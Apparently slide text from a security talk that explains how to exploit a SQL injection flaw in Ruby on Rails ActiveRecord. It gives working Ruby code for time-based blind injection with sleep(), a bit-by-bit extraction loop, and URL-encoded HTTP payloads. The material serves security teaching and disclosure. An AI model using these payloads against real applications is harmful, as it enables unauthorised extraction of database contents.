2. about()
• Security consultant working for Securus
Global in Melbourne
• 2 sides projects:
– PentesterLab: cool web training material
– PNTSTR: easy first round for interview
• Mostly doing web stuff...
3. Ruby On Rails
• Nice framework to build web
application
– MVC
– Automatic object mapping
– A lot of smart automation
• Used by the cool kids... I guess
• Written in Ruby... “yes like Metasploit”
4. ActiveRecord
• Automatic Object to Database
mapping:
– Like Hibernate if you speak Java
• Used in most (all) Rails applications
5.
6.
7. Let's start playing...
• No public exploit at that time
– Still no public exploit actually ;)
• Seems annoying to exploit:
– Avoid using HTTP to understand the
vulnerability
– avoid using HTTP to avoid mistakes
– just create a simple script
– and start testing
8. # load the vulnerable library
require 'active_record'
# connection to the database
ActiveRecord::Base.establish_connection(
:adapter => "mysql2",
:host => "localhost",
:username => "pentesterlab",
:database => "pentesterlab")
# dummy class
class User < ActiveRecord::Base
end
# start a ruby interactive shell
require 'irb'
IRB.start()
10. > User.where(:id => {'users.id`' => 1} ).all
ActiveRecord::StatementInvalid: Mysql2::Error:
Unknown column 'users.id`' in 'where clause':
SELECT `users`.* FROM `users` WHERE
`users`.`id``` = 1
> User.where(:id => {'users.id' => {1 =>
1}} ).all
ActiveRecord::StatementInvalid: Mysql2::Error:
Access denied for user
'pentesterlab'@'localhost' to database
'users': SHOW TABLES IN users LIKE 'id'
NOT THE SAME REQUEST ???
12. 2 requests???
• The first request is used to know if
the table exists
– It will then retrieve its schema
• But we don't have access:
– We can use information_schema (default
mysql database)
13. 2 requests???
• But we are injecting in a show table
request:
– Show table accept where
statement
• But ActiveRecord is smart and use
caching:
– You can't ask the same thing twice
– Unless... you don't ask in the same way
14. How to avoid the caching?
• Add a random number of spaces and
<tab> for each request
• Add a random number inside a SQL
comment /* 1337 */ for each request
• Add the current time in milliseconds
inside a SQL comment for each
request
• Last solution is the best for sure
– random != unique
15. Creating two states (1/3)
• To dump information, we need 2
states:
– True
– False
• Unfortunately, we always get an
error message in the following
request:
– But we can use time based exploitation
16. Creating two states (2/3)
• Most databases have a sleep
statement (Mysql -> sleep)
• 2 states:
– True if the request is quick
true or sleep(1) -> sleep 1 will not be
reached
– False if the request is slow
false or sleep(1) -> sleep 1 will be
reached
17. Creating two states (3/3)
• True:
> User.where(:id =>
{'information_schema where (select 1)
or sleep(1) ; -- .user' => {'id' => '1'}}).all
• False:
> User.where(:id =>
{'information_schema where (select 0)
or sleep(1) ; -- .user' => {'id' => '1'}}).all
18. Let's code this
def test(sql)
begin
t = Time.now
User.where(:id =>
{'information_schema where ('+sql+') or
sleep(1/10) /*'+Time.now.to_f.to_s+'*/;
• -- .user' => {'id' => '1'}}).all
False:
rescue ActiveRecord::StatementInvalid
return Time.now - t < 1
end
end
20. And now...
• 2 states, we are now working on a
traditional blind SQL injection:
– For each characters
• For each bit of this character
– Is the bit 0 or 1?
21. Isolate each character
• Mysql has a substring function
Statement Result
substring('5.0.4',1,1) 5
substring('5.0.4',2,1) .
substring('5.0.4',3,1) 0
substring('5.0.4',1,3) 5.0
• Now, we just need to call ascii() to
get the ascii value of each character
22. Isolate each bit
• For each character, we can use bit
masking to isolate a bit
• Remember learning that at school...
yes that's actually useful ;)
& 0 1
0 0 0
1 0 1
26. Let's code this
• Use the test() function wrote
previously
• Loop on all the characters
• Loop on all the bit for each character:
– Each power of 2 from 0 to 6
27. inj = "select @@version"
str = ""
value = 1
i = 0
while value != 0 # for each character
i+=1
value = 0
0.upto(6) do |bit| # for each bit
sql="select ascii(substr((#{inj}),#{i},1))
sql+= “&#{2**bit}" #bit masking
if test(sql) # if the true
value+=2**bit # add the mask value
end
end
str+= value.chr # add the character
puts str # to the string
end
29. Moving to HTTP: 4 steps
• Writing some HTTP related code
• Correctly encode the hash
• Correctly encode the injection
• Debug all the mistakes done during
the first 3 steps
30. Sending HTTP request
require 'net/http'
uri = URI.parse("http://vulnerable/"+inj)
http = Net::HTTP.new(uri.host, uri.port)
begin
response = http.request(
Net::HTTP::Get.new(uri.request_uri))
response = Net::HTTP.get_response(uri)
# rescue in case of error
# likely to happen with time based exploitation
rescue Errno::ECONNRESET, EOFError
end
31. Encoding the hash
• Our initial hash looks like
:id => {'information_schema where (select 0)
or sleep(1/10) /*1338976181.408279*/ ; -- .user'
=> {'id' => '1'}}
• We can URL-encoded it this way:
?id[information_schema%20where%20+(select+0)
+or+sleep(1)%20/*1338976181408279*/%3b%20--
%20.user][1]=1
32. Moving to HTTP
• Now just need to remember how to
encode all the characters in the SQL
injection:
– ';' needs to be encoded as '%3b';
– '&' needs to be encoded as '%26';
– '=' needs to be encoded as '%3d';
– ' ' needs to be encoded as '+' or
'%20'.